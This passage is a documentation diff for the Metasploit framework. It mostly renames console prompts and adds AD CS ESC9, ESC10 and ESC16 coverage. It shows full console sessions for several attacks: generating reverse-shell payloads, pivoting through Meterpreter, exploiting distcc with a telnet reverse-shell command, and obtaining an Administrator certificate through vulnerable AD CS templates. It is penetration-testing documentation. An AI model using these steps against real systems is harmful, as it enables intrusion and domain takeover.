-msf6 payload(linux/x86/shell_reverse_tcp) > back
-msf6 > use payload/linux/x86/shell_reverse_tcp
-msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
+msf payload(linux/x86/shell_reverse_tcp) > back
+msf > use payload/linux/x86/shell_reverse_tcp
+msf payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
 lhost => 127.0.0.1
-msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
+msf payload(linux/x86/shell_reverse_tcp) > set lport 4444
 lport => 4444

 # Generate a payload for use within C
-msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
+msf payload(linux/x86/shell_reverse_tcp) > generate -f c

 # Generate an ELF file for execution on Linux environments
-msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
+msf payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
 ```

 ### Post modules ({{ site.metasploit_module_counts["post"] }})
@@ -36,8 +36,8 @@ One of the easiest ways to do this is to use the `post/multi/manage/autoroute` m
 ```msf
 meterpreter > background
 [*] Backgrounding session 1...
-msf6 exploit(multi/handler) > use post/multi/manage/autoroute
-msf6 post(multi/manage/autoroute) > show options
+msf exploit(multi/handler) > use post/multi/manage/autoroute
+msf post(multi/manage/autoroute) > show options

 Module options (post/multi/manage/autoroute):

@@ -49,13 +49,13 @@ Module options (post/multi/manage/autoroute):
   SESSION                   yes       The session to run this module on
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)

-msf6 post(multi/manage/autoroute) > set SESSION 1
+msf post(multi/manage/autoroute) > set SESSION 1
 SESSION => 1
-msf6 post(multi/manage/autoroute) > set SUBNET 169.254.0.0
+msf post(multi/manage/autoroute) > set SUBNET 169.254.0.0
 SUBNET => 169.254.0.0
-msf6 post(multi/manage/autoroute) > set NETMASK /16
+msf post(multi/manage/autoroute) > set NETMASK /16
 NETMASK => /16
-msf6 post(multi/manage/autoroute) > show options
+msf post(multi/manage/autoroute) > show options

 Module options (post/multi/manage/autoroute):

@@ -67,7 +67,7 @@ Module options (post/multi/manage/autoroute):
   SESSION  1                yes       The session to run this module on
   SUBNET   169.254.0.0      no        Subnet (IPv4, for example, 10.10.10.0)

-msf6 post(multi/manage/autoroute) > run
+msf post(multi/manage/autoroute) > run

 [!] SESSION may not be compatible with this module:
 [!]  * incompatible session platform: windows
@@ -76,12 +76,12 @@ msf6 post(multi/manage/autoroute) > run
 [+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
 [+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.
 [*] Post module execution completed
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 If we now use Meterpreter's `route` command we can see that we have two route table entries within Metasploit's routing table, that are tied to Session 1, aka the session on the Windows 11 machine. This means anytime we want to contact a machine within one of the networks specified, we will go through Session 1 and use that to connect to the targets.

 ```msf
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route

 IPv4 Active Routing Table
 =========================
@@ -92,16 +92,16 @@ IPv4 Active Routing Table
   172.19.176.0       255.255.240.0      Session 1

 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```

 All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.

 ```msf
-msf6 post(multi/manage/autoroute) > route flush
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route flush
+msf post(multi/manage/autoroute) > route
 [*] There are currently no routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 Now lets trying doing the same thing manually.

@@ -109,13 +109,13 @@ Now lets trying doing the same thing manually.
 Here we can use `route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>` to add the routes from within Metasploit, followed by `route print` to then print all the routes that Metasploit knows about. Note that the Gateway parameter is either an IP address to use as the gateway or as is more commonly the case, the session ID of an existing session to use to pivot the traffic through.

 ```msf
-msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
+msf post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
 [*] Route added
-msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
+msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
 [-] Invalid gateway
-msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
+msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
 [*] Route added
-msf6 post(multi/manage/autoroute) > route print
+msf post(multi/manage/autoroute) > route print

 IPv4 Active Routing Table
 =========================
@@ -126,15 +126,15 @@ IPv4 Active Routing Table
   172.19.176.0       255.255.240.0      Session 1

 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```

 Finally we can check that the route will use session 1 by using `route get 169.254.204.110`

 ```msf
-msf6 post(multi/manage/autoroute) > route get 169.254.204.110
+msf post(multi/manage/autoroute) > route get 169.254.204.110
 169.254.204.110 routes through: Session 1
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```

 If we want to then remove a specific route (such as in this case we want to remove the 172.19.176.0/20 route since we don't need that for this test), we can issue the `route del` or `route remove` commands with the syntax `route remove <IP ADDRESS OF SUBNET><NETMASK IN SLASH FORMAT> <GATEWAY>`
@@ -142,9 +142,9 @@ If we want to then remove a specific route (such as in this case we want to remo
 Example:

 ```msf
-msf6 post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
+msf post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
 [*] Route removed
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route

 IPv4 Active Routing Table
 =========================
@@ -154,14 +154,14 @@ IPv4 Active Routing Table
   169.254.0.0        255.255.0.0        Session 1

 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```

 ## Using the Pivot
 At this point we can now use the pivot with any Metasploit modules as shown below:

 ```msf
-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options

 Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):

@@ -208,11 +208,11 @@ Exploit target:
   0   Windows Command


-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check

 [*] Target is an Exchange Server!
 [*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
 ```

 ## SMB Named Pipe Pivoting in Meterpreter
@@ -222,23 +222,23 @@ The Windows Meterpreter payload supports lateral movement in a network through S
 First open a Windows Meterpreter session to the pivot machine:

 ```msf
-msf6 > use payload/windows/x64/meterpreter/reverse_tcp
-smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
+msf > use payload/windows/x64/meterpreter/reverse_tcp
+smsf payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
 lhost => 172.19.182.171
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
+msf payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
 lport => 4578
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(windows/x64/meterpreter/reverse_tcp) > to_handler
 [*] Payload Handler Started as Job 0

 [*] Started reverse TCP handler on 172.19.182.171:4578 
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
+msf payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
 [*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
 ```

 Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:

 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
+msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
 [*] Starting interaction with 1...

 meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
@@ -250,7 +250,7 @@ meterpreter > background
 Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine.  Note there is no need to start a handler for the named pipe payload.

 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > show options

 Module options (payload/windows/x64/meterpreter/reverse_named_pipe):

@@ -260,17 +260,17 @@ Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
   PIPEHOST  .                yes       Host of the pipe to connect to
   PIPENAME  msf-pipe         yes       Name of the pipe to listen on

-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
 pipehost => 169.254.16.221
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
 [*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
 ```

 After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500

-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > sessions

 Active sessions
 ===============
@@ -384,8 +384,8 @@ Once routes are established, Metasploit modules can access the IP range specifie
 Metasploit can launch a SOCKS proxy server using the module: `auxiliary/server/socks_proxy`. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Here is an example of how this module might be used:

 ```msf
-msf6 > use auxiliary/server/socks_proxy
-msf6 auxiliary(server/socks_proxy) > show options
+msf > use auxiliary/server/socks_proxy
+msf auxiliary(server/socks_proxy) > show options

 Module options (auxiliary/server/socks_proxy):

@@ -407,16 +407,16 @@ Auxiliary action:
   Proxy  Run a SOCKS proxy server


-msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
+msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
 SRVHOST => 127.0.0.1
-msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
+msf auxiliary(server/socks_proxy) > set SRVPORT 1080
 SRVPORT => 1080
-msf6 auxiliary(server/socks_proxy) > run
+msf auxiliary(server/socks_proxy) > run
 [*] Auxiliary module running as background job 0.
-msf6 auxiliary(server/socks_proxy) >
+msf auxiliary(server/socks_proxy) >
 [*] Starting the SOCKS proxy server

-msf6 auxiliary(server/socks_proxy) > jobs
+msf auxiliary(server/socks_proxy) > jobs

 Jobs
 ====
@@ -425,7 +425,7 @@ Jobs
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

-msf6 auxiliary(server/socks_proxy) >
+msf auxiliary(server/socks_proxy) >
 ```

 ### proxychains-ng Setup
@@ -18,7 +18,7 @@ Assuming you have installed Metasploit, either with the official Rapid7 nightly

 Metasploit Documentation: https://docs.metasploit.com/

-msf6 >
+msf >
 ```

 ### Finding modules
@@ -33,7 +33,7 @@ Metasploit is based around the concept of [[modules]]. The most commonly used mo
 You can use the `search` command to search for modules:

 ```msf
-msf6 > search type:auxiliary http html title tag
+msf > search type:auxiliary http html title tag

 Matching Modules
 ================
@@ -45,15 +45,15 @@ Matching Modules

 Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title

-msf6 >
+msf >
 ```

 You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently
 active module:

 ```msf
-msf6 > use auxiliary/scanner/http/title
-msf6 auxiliary(scanner/http/title) > 
+msf > use auxiliary/scanner/http/title
+msf auxiliary(scanner/http/title) > 
 ```

 ### Running Auxiliary modules
@@ -62,14 +62,14 @@ Auxiliary modules do not exploit a target, but can perform data gathering or adm
 extracting the HTTP title from a server:

 ```msf
-msf6 > use auxiliary/scanner/http/title
-msf6 auxiliary(scanner/http/title) > 
+msf > use auxiliary/scanner/http/title
+msf auxiliary(scanner/http/title) > 
 ```

 Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:

 ```msf
-msf6 auxiliary(scanner/http/title) > show options
+msf auxiliary(scanner/http/title) > show options

 Module options (auxiliary/scanner/http/title):

@@ -88,21 +88,21 @@ Module options (auxiliary/scanner/http/title):

 View the full module info with the info, or info -d command.

-msf6 auxiliary(scanner/http/title) > 
+msf auxiliary(scanner/http/title) > 
 ```

 To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that 
 the module will run against:

 ```msf
-msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
+msf auxiliary(scanner/http/title) > set RHOSTS google.com
 RHOSTS => google.com
 ```

 The `run` command will run the module against the target, showing the target's HTTP title:

 ```msf
-msf6 auxiliary(scanner/http/title) > run
+msf auxiliary(scanner/http/title) > run

 [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
 [*] Scanned 1 of 1 hosts (100% complete)
@@ -113,7 +113,7 @@ New in Metasploit 6 there is added support for running modules with options set
 both `RHOSTS` and enabling `HttpTrace` functionality:

 ```msf
-msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true 
+msf auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true 

 ####################
 # Request:
@@ -142,7 +142,7 @@ The document has moved
 [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/http/title) > 
+msf auxiliary(scanner/http/title) > 
 ```

 ### Running exploit modules
@@ -156,9 +156,9 @@ For instance in a Virtual Machine, or with Docker. There are multiple pre-built
 For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module:

 ```msf
-msf6 > use unix/misc/distcc_exec
+msf > use unix/misc/distcc_exec
 [*] Using configured payload cmd/unix/reverse_bash
-msf6 exploit(unix/misc/distcc_exec) > 
+msf exploit(unix/misc/distcc_exec) > 
 ```

 Exploit modules will generally at a minimum require the following options to be set:
@@ -170,7 +170,7 @@ Exploit modules will generally at a minimum require the following options to be
 Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:

 ```msf
-msf6 exploit(unix/misc/distcc_exec) > options
+msf exploit(unix/misc/distcc_exec) > options

 Module options (exploit/unix/misc/distcc_exec):

@@ -198,24 +198,24 @@ Exploit target:

 View the full module info with the info, or info -d command.

-msf6 exploit(unix/misc/distcc_exec) > 
+msf exploit(unix/misc/distcc_exec) > 
 ```

 For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`):

 ```msf
-msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
+msf exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
 rhost => 192.168.123.133
-msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
+msf exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
 lhost => 192.168.123.1
-msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
+msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
 payload => cmd/unix/reverse
 ```

 The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action:

 ```msf
-msf6 exploit(unix/misc/distcc_exec) > run
+msf exploit(unix/misc/distcc_exec) > run

 [+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
 [*] Started reverse TCP double handler on 192.168.123.1:4444 
@@ -238,7 +238,7 @@ daemon
 New in Metasploit 6 there is added support for running modules with options set as part of the run command:

 ```msf
-msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
+msf exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse

 [+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
 [*] Started reverse TCP double handler on 192.168.123.1:4444
@@ -163,7 +163,7 @@ Start `msfconsole` and verify postgresql connection using the `db_status` comman
 mv ~/.msf4/config ~/.msf4/config.disable
 ./msfconsole
 ...
-msf5 > db_status 
+msf > db_status 
 [*] Connected to msf. Connection type: postgresql.
 ```

@@ -171,4 +171,4 @@ Drop (delete) the cluster:

 ```
 PG_CLUSTER_CONF_ROOT=$HOME/.local/etc/postgresql pg_dropcluster 9.6 msf
-```
+```
@@ -14,6 +14,11 @@ flowchart TD
        ESC8(ESC8)
        ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
    end
+    subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
+        ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+        ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+        ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+    end
    subgraph icpr_cert[<b>icpr_cert</b>]
        ESC1(ESC1)
        ESC2(ESC2)
@@ -51,6 +56,8 @@ flowchart TD
    update_template --> ESC1
    web_enrollment --> PKINIT
    web_enrollment --> SCHANNEL
+    weak_certificate_mapping --> PKINIT
+    weak_certificate_mapping --> SCHANNEL
 ```

 The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
  `StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
  - [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
    more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
+  - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
 - ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
  CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
  StrongCertificateBindingEnforcement` is set to `0`.
  - [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
    more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
+  - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
 - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
  the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
  - [Relaying to AD Certificate Services over
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
  manipulation
  - [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
  - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
-
-Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
-covers exploiting that subset of ESC flaws.
+- ESC16 - Security Extension Disabled on CA (Globally)
+  - [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
+Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
+- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]

 Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
 as the diagram notes above. This is because in ESC1, one has control over the
@@ -207,8 +217,8 @@ This will cause the module to log into the LDAP server on the target DC, and lis
 as well as the permissions that are required to enroll in these certificate templates. The following is a sample output of running this against a test server:

 ```msf
-msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
+msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options

 Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):

@@ -229,15 +239,15 @@ Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):

 View the full module info with the info, or info -d command.

-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
 DOMAIN => DAFOREST
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
 USERNAME => normaluser
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
 PASSWORD => normalpass
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 [*] Running module against 172.30.239.85

 [*] Discovering base DN automatically
@@ -318,7 +328,7 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 [*]     Enrollment SIDs:
 [*]       * S-1-5-11 (Authenticated Users)
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
 ```

 From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
@@ -357,24 +367,24 @@ If we know the domain name is `daforest.com` and the domain administrator of thi
 quickly set this up:

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
 CERT_TEMPLATE => ESC1-Template
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
 ALT_UPN => Administrator@daforest.com
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -383,7 +393,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -401,20 +411,20 @@ To do this we will use the `ipcr_cert` module and we will set the usual options,
 For the first run, we will set the usual `RHOSTS`, `CA`, and `CERT_TEMPLATE` details, being sure to set `CERT_TEMPLATE` to the vulnerable `ESC2-Template` certificate template, and supply valid SMB login credentials. This will grant us a certificate for our current user that is based off of the vulnerable `ESC2-Template`:

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
 CERT_TEMPLATE => ESC2-Template
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -444,7 +454,7 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -453,7 +463,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot

 Loot
 ====
@@ -462,13 +472,13 @@ host  service  type           name             content               info
 ----  -------  ----           ----             -------               ----                         ----
               windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx

-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Next, we need to use the PFX file that we got to request another certificate to authenticate on behalf of another user. We will use the `PFX` option to specify the PFX file, and the `ON_BEHALF_OF` setting to specify the user we would like to authenticate on behalf of. Finally we will change the certificate template to another certificate template that we are able to enroll in. The default `User` certificate should work here since it allows enrollment by any authenticated domain user.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -498,13 +508,13 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
 ON_BEHALF_OF => DAFOREST\Administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
 PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
